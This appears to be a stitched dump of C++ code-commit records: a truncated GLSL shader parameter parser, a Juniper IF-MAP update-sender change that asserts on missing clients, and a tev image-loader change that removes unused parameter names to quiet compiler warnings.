{\n\t\t\tif( size == 1 ) {\n\t\t\t\tbool val = values[0] > 0.5 ? true : false;\n\t\t\t\tmBoolParams[uniformName] = val;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tmBoolParams[uniformName] = true;\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\t\telse if( type == \"int\" ) {\n\t\t\tif( size > 2 ) {\n\t\t\t\tmIntParams[uniformName] = values[2];\n\t\t\t\tmIntRanges[uniformName] = { values[0], values[1] };\n\t\t\t}\n\t\t\telse {\n\t\t\t\tmIntParams[uniformName] = 50;\n\t\t\t\tmIntRanges[uniformName] = { 0, 100 };\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\t\telse if( type == \"float\" ) {\n\t\t\tif( size > 2 ) {\n\t\t\t\tmFloatParams[uniformName] = values[2];\n\t\t\t\tmFloatRanges[uniformName] = { values[0], values[1] };\n\t\t\t}\n\t\t\telse {\n\t\t\t\tmFloatParams[uniformName] = 0.5f;\n\t\t\t\tmFloatRanges[uniformName] = { 0.0f, 1.0f };\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\t\telse if( type == \"vec2\" ) {\n\t\t\tif( size > 2 ) {\n\t\t\t\tif( uitype == \"range\" && size > 3 ) {\n\t\t\t\t\tmVec2Params[uniformName] = vec2( values[2], values[3] );\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tmVec2Params[uniformName] = vec2( values[2] );\n\t\t\t\t}\n\t\t\t\tmVec2Ranges[uniformName] = { values[0], values[1] };\n\t\t\t}\n\t\t\telse {\n\t\t\t\tmVec2Params[uniformName] = vec2( 0.25f, 0.75f );\n\t\t\t\tmVec2Ranges[uniformName] = { 0.0f, 1.0f };\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\t\telse if( type == \"vec3\" ) {\n\t\t\tif( size > 2 ) {\n\t\t\t\tmVec3Params[uniformName] = vec3( values[2] );\n\t\t\t\tmVec3Ranges[uniformName] = { values[0], values[1] };\n\t\t\t}\n\t\t\telse {\n\t\t\t\tmVec3Params[uniformName] = vec3( 0.5f );\n\t\t\t\tmVec3Ranges[uniformName] = { 0.0f, 1.0f };\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\t\telse if( type == \"vec4\" && uitype == \"color\" ) {\n\t\t\tColorA clr;\n\t\t\tif( size > 3 ) {\n\t\t\t\tclr.set( ColorModel::CM_RGB, vec4( values[0], values[1], values[2], values[3] ) );\n\t\t\t\tmColorParams[uniformName] = clr;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tclr.set( ColorModel::CM_RGB, vec4( 1.0f, 1.0f, 1.0f, 1.0f ) );\n\t\t\t\tmColorParams[uniformName] = clr;\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\t\telse if( type == \"vec4\" ) {\n\t\t\tif( size > 2 ) {\n\t\t\t\tmVec4Params[uniformName] = vec4( values[2] );\n\t\t\t\tmVec4Ranges[uniformName] = { values[0], values[1] };\n\t\t\t}\n\t\t\telse {\n\t\t\t\tmVec4Params[uniformName] = vec4( 0.5f );\n\t\t\t\tmVec4Ranges[uniformName] = { 0.0f, 1.0f };\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\n\t\tif( valid ) {\n\t\t\tmTypeMap.insert( { uniformName, { type, uitype } } );\n\t\t\tmParamOrder[(int)mParamOrder.size()] = uniformName;\n\t\t}\n\t}\n}\n\nconst map<int, string> &GlslParams::getParamOrder()\n{\n\treturn mParamOrder;\n}\n\nconst map<string, pair<string, string>> &GlslParams::getTypeMap()\n{\n\treturn mTypeMap;\n}\n\nmap<string, bool> &GlslParams::getBoolParams()\n{\n\treturn mBoolParams;\n}\n\nmap<string, int> &GlslParams::getIntParams()\n{\n\treturn mIntParams;\n}\nmap<string, pair<int, int>> &GlslParams::getIntRanges()\n{\n\treturn mIntRanges;\n}\n\nmap<string, float> &GlslParams::getFloatParams()\n{\n\treturn mFloatParams;\n}\nmap<string, pair<float, float>> &GlslParams::getFloatRanges()\n{\n\treturn mFloatRanges;\n}\n\nmap<string, vec2> &GlslParams::getVec2Params()\n{\n\treturn mVec2Params;\n}\nmap<string, pair<float, float>> &GlslParams::getVec2Ranges()\n{\n\treturn mVec2Ranges;\n}\n\nmap<string, vec3> &GlslParams::getVec3Params()\n{\n\treturn mVec3Params;\n}\nmap<string, pair<float, float>> &GlslParams::getVec3Ranges()\n{\n\treturn mVec3Ranges;\n}\n\nmap<string, vec4> &GlslParams::getVec4Params()\n{\n\treturn mVec4Params;\n}\nmap<string, pair<float, float>> &GlslParams::getVec4Ranges()\n{\n\treturn mVec4Ranges;\n}\n\nmap<string, ColorA> &GlslParams::getColorParams()\n{\n\treturn mColorParams;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2013 Juniper Networks, Inc. All rights reserved.\n *\/\n\n#include \"ifmap\/ifmap_update_sender.h\"\n#include \"base\/task.h\"\n#include \"ifmap\/ifmap_client.h\"\n#include \"ifmap\/ifmap_server.h\"\n#include \"ifmap\/ifmap_encoder.h\"\n#include \"ifmap\/ifmap_exporter.h\"\n#include \"ifmap\/ifmap_log.h\"\n#include \"ifmap\/ifmap_log_types.h\"\n#include \"ifmap\/ifmap_update.h\"\n#include \"ifmap\/ifmap_update_queue.h\"\n\nusing namespace std;\n\nIFMapUpdateSender::IFMapUpdateSender(IFMapServer *server,\n                                     IFMapUpdateQueue *queue)\n    : server_(server), queue_(queue), message_(new IFMapMessage()),\n      task_scheduled_(false), queue_active_(false) {\n}\n\nIFMapUpdateSender::~IFMapUpdateSender() {\n    delete(message_);\n}\n\nclass IFMapUpdateSender::SendTask : public Task {\npublic:\n    explicit SendTask(IFMapUpdateSender *sender)\n        : Task(TaskScheduler::GetInstance()->GetTaskId(\"db::DBTable\"), 0),\n          sender_(sender) {\n    }\n    virtual bool Run() {\n        BitSet send_scheduled;\n        sender_->GetSendScheduled(&send_scheduled);\n        sender_->send_blocked_.Reset(send_scheduled);\n        for (size_t i = send_scheduled.find_first(); i != BitSet::npos;\n             i = send_scheduled.find_next(i)) {\n            \/\/ Dequeue from client marker (i).\n            sender_->Send(sender_->queue_->GetMarker(i));\n        }\n        if (sender_->queue_active_) {\n            \/\/ Dequeue from tail marker.\n            \/\/ Reset queue_active_\n            sender_->Send(sender_->queue_->tail_marker());\n            sender_->queue_active_ = false;\n        }\n        return true;\n    }\n\n    std::string Description() const { return \"IFMapUpdateSender::SendTask\"; }\nprivate:\n    IFMapUpdateSender *sender_;\n};\n\nvoid IFMapUpdateSender::StartTask() {\n    if (!task_scheduled_) {\n        \/\/ create new task\n        SendTask *send_task = new SendTask(this);\n        TaskScheduler *scheduler = TaskScheduler::GetInstance();\n        scheduler->Enqueue(send_task);\n        task_scheduled_ = true;\n    }\n}\n\nvoid IFMapUpdateSender::QueueActive() {\n    if (queue_active_) {\n        return;\n    }\n    queue_active_ = true;\n    tbb::mutex::scoped_lock lock(mutex_);\n    StartTask();\n}\n\nvoid IFMapUpdateSender::SendActive(int index) {\n    tbb::mutex::scoped_lock lock(mutex_);\n    send_scheduled_.set(index);\n    StartTask();\n}\n\nvoid IFMapUpdateSender::GetSendScheduled(BitSet *current) {\n    tbb::mutex::scoped_lock lock(mutex_);\n    *current = send_scheduled_;\n    send_scheduled_.clear();\n    task_scheduled_ = false;\n}\n\nvoid IFMapUpdateSender::CleanupClient(int index) {\n    tbb::mutex::scoped_lock lock(mutex_);\n    send_scheduled_.reset(index);\n    send_blocked_.reset(index);\n}\n\n\/\/ We return only under 2 conditions:\n\/\/ 1. All the clients in the marker are blocked.\n\/\/ 2. We have finished traversing the Q.\n\/\/ Invariant: while we are traversing the Q, the marker that we are working\n\/\/ with only has ready clients. As soon as a client blocks, we split it out and\n\/\/ continue with the ready set.\nvoid IFMapUpdateSender::Send(IFMapMarker *imarker) {\n    IFMapMarker *marker = imarker;\n\n    \/\/ Get the clients in this marker that are blocked. If all of the clients in\n    \/\/ this marker are blocked, we are done.\n    BitSet blocked_clients;\n    blocked_clients = (marker->mask & send_blocked_);\n    if (blocked_clients == marker->mask) {\n        return;\n    }\n\n    \/\/ If any of the clients are blocked, create a new marker for the set of\n    \/\/ blocked clients, insert it before marker and continue with the ready\n    \/\/ set.\n    if (!blocked_clients.empty()) {\n        queue_->MarkerSplitBefore(marker, marker, blocked_clients);\n    }\n\n    IFMapListEntry *next = queue_->Next(marker);\n    BitSet base_send_set;\n\n    \/\/ Start with the node after the 'marker'\n    for (IFMapListEntry *curr = next; curr != NULL; curr = next) {\n        next = queue_->Next(curr);\n\n        if (curr->IsMarker()) {\n            IFMapMarker *next_marker = static_cast<IFMapMarker *>(curr);\n            \/\/ Processing the next_marker can change the send_set and all\n            \/\/ clients in the next_marker should have already seen the updates\n            \/\/ currently sitting in the buffer. So, flush the buffer to the\n            \/\/ existing client-set before processing the marker so that we dont\n            \/\/ send duplicates.\n            if (!message_->IsEmpty()) {\n                BitSet blocked_set;\n                SendUpdate(base_send_set, &blocked_set);\n            }\n            bool done;\n            marker = ProcessMarker(marker, next_marker, &done);\n            if (done) {\n                \/\/ All the clients in this marker are blocked. We are done.\n                return;\n            }\n            \/\/ marker has the ready clients. Continue as if we are starting\n            \/\/ fresh.\n            base_send_set.clear();\n            continue;\n        }\n\n        \/\/ ...else its an update or delete\n \n        IFMapUpdate *update = static_cast<IFMapUpdate *>(curr);\n        BitSet send_set = update->advertise() & marker->mask;\n        if (send_set.empty()) {\n            continue;\n        }\n\n        if (base_send_set.empty()) {\n            base_send_set = send_set;\n        }\n\n        \/\/ Flush the message to all possible clients if:\n        \/\/ 1. The buffer is full OR\n        \/\/ 2. The send_set is changing and buffer is filled.\n        if (message_->IsFull() ||\n            ((base_send_set != send_set) && !message_->IsEmpty())) {\n\n            BitSet blocked_set;\n            SendUpdate(base_send_set, &blocked_set);\n            if (!blocked_set.empty()) {\n                \/\/ All the clients in this marker are blocked. We are done.\n                if (blocked_set == marker->mask) {\n                    queue_->MoveMarkerBefore(marker, curr);\n                    return;\n                }\n                \/\/ Only a subset of clients in this marker are blocked. Insert\n                \/\/ a marker for them 'before' curr since they have seen\n                \/\/ everything before curr. Let the ready clients continue the\n                \/\/ traversal.\n                queue_->MarkerSplitBefore(marker, curr, blocked_set);\n                send_set.Reset(blocked_set);\n            }\n\n            \/\/ The send_set for this marker is changing. Pick up the new one.\n            base_send_set = send_set;\n        }\n\n        \/\/ base_send_set is same as send_set at this point.\n        ProcessUpdate(update, base_send_set);\n    }\n\n    \/\/ The buffer will be filled in the common case of updates being added\n    \/\/ after the tail_marker.\n    if (!message_->IsEmpty()) {\n        BitSet blk_set;\n        SendUpdate(base_send_set, &blk_set);\n    }\n    \/\/ If the last node in the Q was the tail_marker, we would have already\n    \/\/ flushed the buffer and merged with it and we would be the last node in\n    \/\/ the Q.\n    IFMapListEntry *last = queue_->GetLast();\n    if (marker != last) {\n        \/\/ Since we have reached the end of the Q, we better be the tail_marker\n        assert(marker == queue_->tail_marker());\n        \/\/ If we have any blocked clients, splitting markers for them is not\n        \/\/ useful at this point. Just move the marker to the end of the Q,\n        \/\/ immediately after last, even if it has blocked clients. Being lazy\n        \/\/ is advantageous since by the time we get the next trigger, a blocked\n        \/\/ client could have become ready and splitting the marker now would be\n        \/\/ useless.\n        queue_->MoveMarkerAfter(marker, last);\n    }\n    return;\n}\n\nvoid IFMapUpdateSender::ProcessUpdate(IFMapUpdate *update,\n                                      const BitSet &base_send_set) {\n    LogAndCountSentUpdate(update, base_send_set);\n\n    \/\/ Append the contents of the update-node to the message.\n    message_->EncodeUpdate(update);\n\n    \/\/ Clean up the node if everybody has seen it.\n    update->AdvertiseReset(base_send_set);\n    if (update->advertise().empty()) {\n        queue_->Dequeue(update);\n    }\n    \/\/ Update may be freed.\n    server_->exporter()->StateUpdateOnDequeue(update, base_send_set,\n                                              update->IsDelete());\n}\n\n\/\/ blocked_set is a subset of send_set\nvoid IFMapUpdateSender::SendUpdate(BitSet send_set, BitSet *blocked_set) {\n    IFMapClient *client;\n    bool send_result;\n\n    assert(!message_->IsEmpty());\n\n    for (size_t i = send_set.find_first(); i != BitSet::npos;\n         i = send_set.find_next(i)) {\n        assert(!send_blocked_.test(i));\n        client = server_->GetClient(i);\n        if (client == NULL) {\n            continue;\n        }\n        message_->SetReceiverInMsg(client->identifier());\n        \/\/ Close the message to save the document as string\n        message_->Close();\n\n        \/\/ Send the string version of the message to the client.\n        send_result = client->SendUpdate(message_->c_str());\n\n        \/\/ Keep track of all the clients whose buffers are full. \n        if (!send_result) {\n            blocked_set->set(i);\n            send_blocked_.set(i);\n        }\n    }\n    \/\/ Reset the message to init things for the next message\n    message_->Reset();\n}\n\n\/\/ marker is before next_marker in the Q. next_marker could be the tail_marker.\n\/\/ 'done' is set to true only if all the clients in the union of the\n\/\/ client-sets of the 2 markers are blocked.\nIFMapMarker* IFMapUpdateSender::ProcessMarker(IFMapMarker *marker,\n                                              IFMapMarker *next_marker,\n                                              bool *done) {\n    \/\/ There should never be a marker beyond the tail_marker\n    assert(marker != queue_->tail_marker());\n\n    \/\/ Get the union (total_set) of the client-sets in the 2 markers. Then, get\n    \/\/ the subset of clients in the union that are blocked (blocked_set). The\n    \/\/ remaining subset of clients are ready (ready_set).\n    BitSet total_set = (marker->mask | next_marker->mask);\n    BitSet blocked_set = (total_set & send_blocked_);\n    BitSet ready_set;\n    ready_set.BuildComplement(total_set, blocked_set); \/\/ *this = lhs & ~rhs\n\n    \/\/ If all the clients are ready or all are blocked, merge marker into\n    \/\/ next_marker. marker will be deleted.\n    if (blocked_set.empty() || ready_set.empty()) {\n        queue_->MarkerMerge(next_marker, marker, marker->mask);\n        assert(next_marker->mask == total_set);\n    } else {\n        \/\/ We have both, ready and blocked, clients. First, merge both the\n        \/\/ markers into next_marker so that next_marker has the total_set. Then\n        \/\/ split next_marker into 2 markers: first with the blocked_set and the\n        \/\/ second with the ready_set, with first(blocked) preceding the\n        \/\/ second(ready).\n        queue_->MarkerMerge(next_marker, marker, marker->mask);\n        assert(next_marker->mask == total_set);\n        queue_->MarkerSplitBefore(next_marker, next_marker, blocked_set);\n    }\n    if (ready_set.empty()) {\n        \/\/ If all the clients are blocked, we are done.\n        *done = true;\n    } else {\n        \/\/ Atleast some clients are ready to continue.\n        *done = false;\n    }\n\n    \/\/ next_marker has the ready_set if done is false\n    return next_marker;\n}\n\nvoid IFMapUpdateSender::LogAndCountSentUpdate(IFMapUpdate *update,\n                                              const BitSet &base_send_set) {\n    size_t total = base_send_set.count();\n    \/\/ Avoid dealing with return value of BitSet::npos\n    if (total) {\n        string name = update->ConfigName();\n        string operation = update->TypeToString();\n        size_t client_id = base_send_set.find_first();\n        while (total--) {\n            IFMapClient *client = server_->GetClient(client_id);\n            if (client) {\n                IFMAP_DEBUG_ONLY(IFMapClientSendInfo, operation, name,\n                                 client->identifier(), client->name());\n                if (update->IsNode()) {\n                    client->incr_nodes_sent();\n                } else if (update->IsLink()) {\n                    client->incr_links_sent();\n                }\n            }\n            client_id = base_send_set.find_next(client_id);\n        }\n    }\n}\n\n<commit_msg>Do not ignore clients that are not found by IFMapUpdateSender::SendUpdate<commit_after>\/*\n * Copyright (c) 2013 Juniper Networks, Inc. All rights reserved.\n *\/\n\n#include \"ifmap\/ifmap_update_sender.h\"\n#include \"base\/task.h\"\n#include \"ifmap\/ifmap_client.h\"\n#include \"ifmap\/ifmap_server.h\"\n#include \"ifmap\/ifmap_encoder.h\"\n#include \"ifmap\/ifmap_exporter.h\"\n#include \"ifmap\/ifmap_log.h\"\n#include \"ifmap\/ifmap_log_types.h\"\n#include \"ifmap\/ifmap_update.h\"\n#include \"ifmap\/ifmap_update_queue.h\"\n\nusing namespace std;\n\nIFMapUpdateSender::IFMapUpdateSender(IFMapServer *server,\n                                     IFMapUpdateQueue *queue)\n    : server_(server), queue_(queue), message_(new IFMapMessage()),\n      task_scheduled_(false), queue_active_(false) {\n}\n\nIFMapUpdateSender::~IFMapUpdateSender() {\n    delete(message_);\n}\n\nclass IFMapUpdateSender::SendTask : public Task {\npublic:\n    explicit SendTask(IFMapUpdateSender *sender)\n        : Task(TaskScheduler::GetInstance()->GetTaskId(\"db::DBTable\"), 0),\n          sender_(sender) {\n    }\n    virtual bool Run() {\n        BitSet send_scheduled;\n        sender_->GetSendScheduled(&send_scheduled);\n        sender_->send_blocked_.Reset(send_scheduled);\n        for (size_t i = send_scheduled.find_first(); i != BitSet::npos;\n             i = send_scheduled.find_next(i)) {\n            \/\/ Dequeue from client marker (i).\n            sender_->Send(sender_->queue_->GetMarker(i));\n        }\n        if (sender_->queue_active_) {\n            \/\/ Dequeue from tail marker.\n            \/\/ Reset queue_active_\n            sender_->Send(sender_->queue_->tail_marker());\n            sender_->queue_active_ = false;\n        }\n        return true;\n    }\n\n    std::string Description() const { return \"IFMapUpdateSender::SendTask\"; }\nprivate:\n    IFMapUpdateSender *sender_;\n};\n\nvoid IFMapUpdateSender::StartTask() {\n    if (!task_scheduled_) {\n        \/\/ create new task\n        SendTask *send_task = new SendTask(this);\n        TaskScheduler *scheduler = TaskScheduler::GetInstance();\n        scheduler->Enqueue(send_task);\n        task_scheduled_ = true;\n    }\n}\n\nvoid IFMapUpdateSender::QueueActive() {\n    if (queue_active_) {\n        return;\n    }\n    queue_active_ = true;\n    tbb::mutex::scoped_lock lock(mutex_);\n    StartTask();\n}\n\nvoid IFMapUpdateSender::SendActive(int index) {\n    tbb::mutex::scoped_lock lock(mutex_);\n    send_scheduled_.set(index);\n    StartTask();\n}\n\nvoid IFMapUpdateSender::GetSendScheduled(BitSet *current) {\n    tbb::mutex::scoped_lock lock(mutex_);\n    *current = send_scheduled_;\n    send_scheduled_.clear();\n    task_scheduled_ = false;\n}\n\nvoid IFMapUpdateSender::CleanupClient(int index) {\n    tbb::mutex::scoped_lock lock(mutex_);\n    send_scheduled_.reset(index);\n    send_blocked_.reset(index);\n}\n\n\/\/ We return only under 2 conditions:\n\/\/ 1. All the clients in the marker are blocked.\n\/\/ 2. We have finished traversing the Q.\n\/\/ Invariant: while we are traversing the Q, the marker that we are working\n\/\/ with only has ready clients. As soon as a client blocks, we split it out and\n\/\/ continue with the ready set.\nvoid IFMapUpdateSender::Send(IFMapMarker *imarker) {\n    IFMapMarker *marker = imarker;\n\n    \/\/ Get the clients in this marker that are blocked. If all of the clients in\n    \/\/ this marker are blocked, we are done.\n    BitSet blocked_clients;\n    blocked_clients = (marker->mask & send_blocked_);\n    if (blocked_clients == marker->mask) {\n        return;\n    }\n\n    \/\/ If any of the clients are blocked, create a new marker for the set of\n    \/\/ blocked clients, insert it before marker and continue with the ready\n    \/\/ set.\n    if (!blocked_clients.empty()) {\n        queue_->MarkerSplitBefore(marker, marker, blocked_clients);\n    }\n\n    IFMapListEntry *next = queue_->Next(marker);\n    BitSet base_send_set;\n\n    \/\/ Start with the node after the 'marker'\n    for (IFMapListEntry *curr = next; curr != NULL; curr = next) {\n        next = queue_->Next(curr);\n\n        if (curr->IsMarker()) {\n            IFMapMarker *next_marker = static_cast<IFMapMarker *>(curr);\n            \/\/ Processing the next_marker can change the send_set and all\n            \/\/ clients in the next_marker should have already seen the updates\n            \/\/ currently sitting in the buffer. So, flush the buffer to the\n            \/\/ existing client-set before processing the marker so that we dont\n            \/\/ send duplicates.\n            if (!message_->IsEmpty()) {\n                BitSet blocked_set;\n                SendUpdate(base_send_set, &blocked_set);\n            }\n            bool done;\n            marker = ProcessMarker(marker, next_marker, &done);\n            if (done) {\n                \/\/ All the clients in this marker are blocked. We are done.\n                return;\n            }\n            \/\/ marker has the ready clients. Continue as if we are starting\n            \/\/ fresh.\n            base_send_set.clear();\n            continue;\n        }\n\n        \/\/ ...else its an update or delete\n \n        IFMapUpdate *update = static_cast<IFMapUpdate *>(curr);\n        BitSet send_set = update->advertise() & marker->mask;\n        if (send_set.empty()) {\n            continue;\n        }\n\n        if (base_send_set.empty()) {\n            base_send_set = send_set;\n        }\n\n        \/\/ Flush the message to all possible clients if:\n        \/\/ 1. The buffer is full OR\n        \/\/ 2. The send_set is changing and buffer is filled.\n        if (message_->IsFull() ||\n            ((base_send_set != send_set) && !message_->IsEmpty())) {\n\n            BitSet blocked_set;\n            SendUpdate(base_send_set, &blocked_set);\n            if (!blocked_set.empty()) {\n                \/\/ All the clients in this marker are blocked. We are done.\n                if (blocked_set == marker->mask) {\n                    queue_->MoveMarkerBefore(marker, curr);\n                    return;\n                }\n                \/\/ Only a subset of clients in this marker are blocked. Insert\n                \/\/ a marker for them 'before' curr since they have seen\n                \/\/ everything before curr. Let the ready clients continue the\n                \/\/ traversal.\n                queue_->MarkerSplitBefore(marker, curr, blocked_set);\n                send_set.Reset(blocked_set);\n            }\n\n            \/\/ The send_set for this marker is changing. Pick up the new one.\n            base_send_set = send_set;\n        }\n\n        \/\/ base_send_set is same as send_set at this point.\n        ProcessUpdate(update, base_send_set);\n    }\n\n    \/\/ The buffer will be filled in the common case of updates being added\n    \/\/ after the tail_marker.\n    if (!message_->IsEmpty()) {\n        BitSet blk_set;\n        SendUpdate(base_send_set, &blk_set);\n    }\n    \/\/ If the last node in the Q was the tail_marker, we would have already\n    \/\/ flushed the buffer and merged with it and we would be the last node in\n    \/\/ the Q.\n    IFMapListEntry *last = queue_->GetLast();\n    if (marker != last) {\n        \/\/ Since we have reached the end of the Q, we better be the tail_marker\n        assert(marker == queue_->tail_marker());\n        \/\/ If we have any blocked clients, splitting markers for them is not\n        \/\/ useful at this point. Just move the marker to the end of the Q,\n        \/\/ immediately after last, even if it has blocked clients. Being lazy\n        \/\/ is advantageous since by the time we get the next trigger, a blocked\n        \/\/ client could have become ready and splitting the marker now would be\n        \/\/ useless.\n        queue_->MoveMarkerAfter(marker, last);\n    }\n    return;\n}\n\nvoid IFMapUpdateSender::ProcessUpdate(IFMapUpdate *update,\n                                      const BitSet &base_send_set) {\n    LogAndCountSentUpdate(update, base_send_set);\n\n    \/\/ Append the contents of the update-node to the message.\n    message_->EncodeUpdate(update);\n\n    \/\/ Clean up the node if everybody has seen it.\n    update->AdvertiseReset(base_send_set);\n    if (update->advertise().empty()) {\n        queue_->Dequeue(update);\n    }\n    \/\/ Update may be freed.\n    server_->exporter()->StateUpdateOnDequeue(update, base_send_set,\n                                              update->IsDelete());\n}\n\n\/\/ blocked_set is a subset of send_set\nvoid IFMapUpdateSender::SendUpdate(BitSet send_set, BitSet *blocked_set) {\n    IFMapClient *client;\n    bool send_result;\n\n    assert(!message_->IsEmpty());\n\n    for (size_t i = send_set.find_first(); i != BitSet::npos;\n         i = send_set.find_next(i)) {\n        assert(!send_blocked_.test(i));\n        client = server_->GetClient(i);\n        assert(client);\n\n        message_->SetReceiverInMsg(client->identifier());\n        \/\/ Close the message to save the document as string\n        message_->Close();\n\n        \/\/ Send the string version of the message to the client.\n        send_result = client->SendUpdate(message_->c_str());\n\n        \/\/ Keep track of all the clients whose buffers are full. \n        if (!send_result) {\n            blocked_set->set(i);\n            send_blocked_.set(i);\n        }\n    }\n    \/\/ Reset the message to init things for the next message\n    message_->Reset();\n}\n\n\/\/ marker is before next_marker in the Q. next_marker could be the tail_marker.\n\/\/ 'done' is set to true only if all the clients in the union of the\n\/\/ client-sets of the 2 markers are blocked.\nIFMapMarker* IFMapUpdateSender::ProcessMarker(IFMapMarker *marker,\n                                              IFMapMarker *next_marker,\n                                              bool *done) {\n    \/\/ There should never be a marker beyond the tail_marker\n    assert(marker != queue_->tail_marker());\n\n    \/\/ Get the union (total_set) of the client-sets in the 2 markers. Then, get\n    \/\/ the subset of clients in the union that are blocked (blocked_set). The\n    \/\/ remaining subset of clients are ready (ready_set).\n    BitSet total_set = (marker->mask | next_marker->mask);\n    BitSet blocked_set = (total_set & send_blocked_);\n    BitSet ready_set;\n    ready_set.BuildComplement(total_set, blocked_set); \/\/ *this = lhs & ~rhs\n\n    \/\/ If all the clients are ready or all are blocked, merge marker into\n    \/\/ next_marker. marker will be deleted.\n    if (blocked_set.empty() || ready_set.empty()) {\n        queue_->MarkerMerge(next_marker, marker, marker->mask);\n        assert(next_marker->mask == total_set);\n    } else {\n        \/\/ We have both, ready and blocked, clients. First, merge both the\n        \/\/ markers into next_marker so that next_marker has the total_set. Then\n        \/\/ split next_marker into 2 markers: first with the blocked_set and the\n        \/\/ second with the ready_set, with first(blocked) preceding the\n        \/\/ second(ready).\n        queue_->MarkerMerge(next_marker, marker, marker->mask);\n        assert(next_marker->mask == total_set);\n        queue_->MarkerSplitBefore(next_marker, next_marker, blocked_set);\n    }\n    if (ready_set.empty()) {\n        \/\/ If all the clients are blocked, we are done.\n        *done = true;\n    } else {\n        \/\/ Atleast some clients are ready to continue.\n        *done = false;\n    }\n\n    \/\/ next_marker has the ready_set if done is false\n    return next_marker;\n}\n\nvoid IFMapUpdateSender::LogAndCountSentUpdate(IFMapUpdate *update,\n                                              const BitSet &base_send_set) {\n    size_t total = base_send_set.count();\n    \/\/ Avoid dealing with return value of BitSet::npos\n    if (total) {\n        string name = update->ConfigName();\n        string operation = update->TypeToString();\n        size_t client_id = base_send_set.find_first();\n        while (total--) {\n            IFMapClient *client = server_->GetClient(client_id);\n            if (client) {\n                IFMAP_DEBUG_ONLY(IFMapClientSendInfo, operation, name,\n                                 client->identifier(), client->name());\n                if (update->IsNode()) {\n                    client->incr_nodes_sent();\n                } else if (update->IsLink()) {\n                    client->incr_links_sent();\n                }\n            }\n            client_id = base_send_set.find_next(client_id);\n        }\n    }\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file was developed by Thomas Müller <thomas94@gmx.net>.\n\/\/ It is published under the BSD 3-Clause License within the LICENSE file.\n\n#include <tev\/imageio\/EmptyImageLoader.h>\n#include <tev\/ThreadPool.h>\n\n#include <istream>\n\nusing namespace Eigen;\nusing namespace filesystem;\nusing namespace std;\n\nTEV_NAMESPACE_BEGIN\n\nbool EmptyImageLoader::canLoadFile(istream& iStream) const {\n    char b[5];\n    iStream.read(b, sizeof(b));\n\n    bool result = !!iStream && iStream.gcount() == sizeof(b) && string(b, sizeof(b)) == \"empty\";\n\n    iStream.clear();\n    iStream.seekg(0);\n    return result;\n}\n\nImageData EmptyImageLoader::load(istream& iStream, const path& path, const string& channelSelector) const {\n    ImageData result;\n\n    string magic;\n    Vector2i size;\n    int nChannels;\n    iStream >> magic >> size.x() >> size.y() >> nChannels;\n\n    if (magic != \"empty\") {\n        throw invalid_argument{tfm::format(\"Invalid magic empty string %s\", magic)};\n    }\n\n    auto numPixels = (DenseIndex)size.x() * size.y();\n    if (numPixels == 0) {\n        throw invalid_argument{\"Image has zero pixels.\"};\n    }\n\n    set<string> layerNames;\n    for (int i = 0; i < nChannels; ++i) {\n        \/\/ The following lines decode strings by prefix length.\n        \/\/ The reason for using sthis encoding is to allow arbitrary characters,\n        \/\/ including whitespaces, in the channel names.\n        std::vector<char> channelNameData;\n        int length;\n        iStream >> length;\n        channelNameData.resize(length+1, 0);\n        iStream.read(channelNameData.data(), length);\n\n        string channelName = channelNameData.data();\n\n        result.channels.emplace_back(Channel{channelName, size});\n        result.channels.back().setZero();\n        layerNames.insert(Channel::head(channelName));\n    }\n\n    for (const string& layer : layerNames) {\n        result.layers.emplace_back(layer);\n    }\n\n    return result;\n}\n\nTEV_NAMESPACE_END\n<commit_msg>Get rid of Windows compiler warnings<commit_after>\/\/ This file was developed by Thomas Müller <thomas94@gmx.net>.\n\/\/ It is published under the BSD 3-Clause License within the LICENSE file.\n\n#include <tev\/imageio\/EmptyImageLoader.h>\n#include <tev\/ThreadPool.h>\n\n#include <istream>\n\nusing namespace Eigen;\nusing namespace filesystem;\nusing namespace std;\n\nTEV_NAMESPACE_BEGIN\n\nbool EmptyImageLoader::canLoadFile(istream& iStream) const {\n    char b[5];\n    iStream.read(b, sizeof(b));\n\n    bool result = !!iStream && iStream.gcount() == sizeof(b) && string(b, sizeof(b)) == \"empty\";\n\n    iStream.clear();\n    iStream.seekg(0);\n    return result;\n}\n\nImageData EmptyImageLoader::load(istream& iStream, const path&, const string&) const {\n    ImageData result;\n\n    string magic;\n    Vector2i size;\n    int nChannels;\n    iStream >> magic >> size.x() >> size.y() >> nChannels;\n\n    if (magic != \"empty\") {\n        throw invalid_argument{tfm::format(\"Invalid magic empty string %s\", magic)};\n    }\n\n    auto numPixels = (DenseIndex)size.x() * size.y();\n    if (numPixels == 0) {\n        throw invalid_argument{\"Image has zero pixels.\"};\n    }\n\n    set<string> layerNames;\n    for (int i = 0; i < nChannels; ++i) {\n        \/\/ The following lines decode strings by prefix length.\n        \/\/ The reason for using sthis encoding is to allow arbitrary characters,\n        \/\/ including whitespaces, in the channel names.\n        std::vector<char> channelNameData;\n        int length;\n        iStream >> length;\n        channelNameData.resize(length+1, 0);\n        iStream.read(channelNameData.data(), length);\n\n        string channelName = channelNameData.data();\n\n        result.channels.emplace_back(Channel{channelName, size});\n        result.channels.back().setZero();\n        layerNames.insert(Channel::head(channelName));\n    }\n\n    for (const string& layer : layerNames) {\n        result.layers.emplace_back(layer);\n    }\n\n    return result;\n}\n\nTEV_NAMESPACE_END\n<|endoftext|>"}
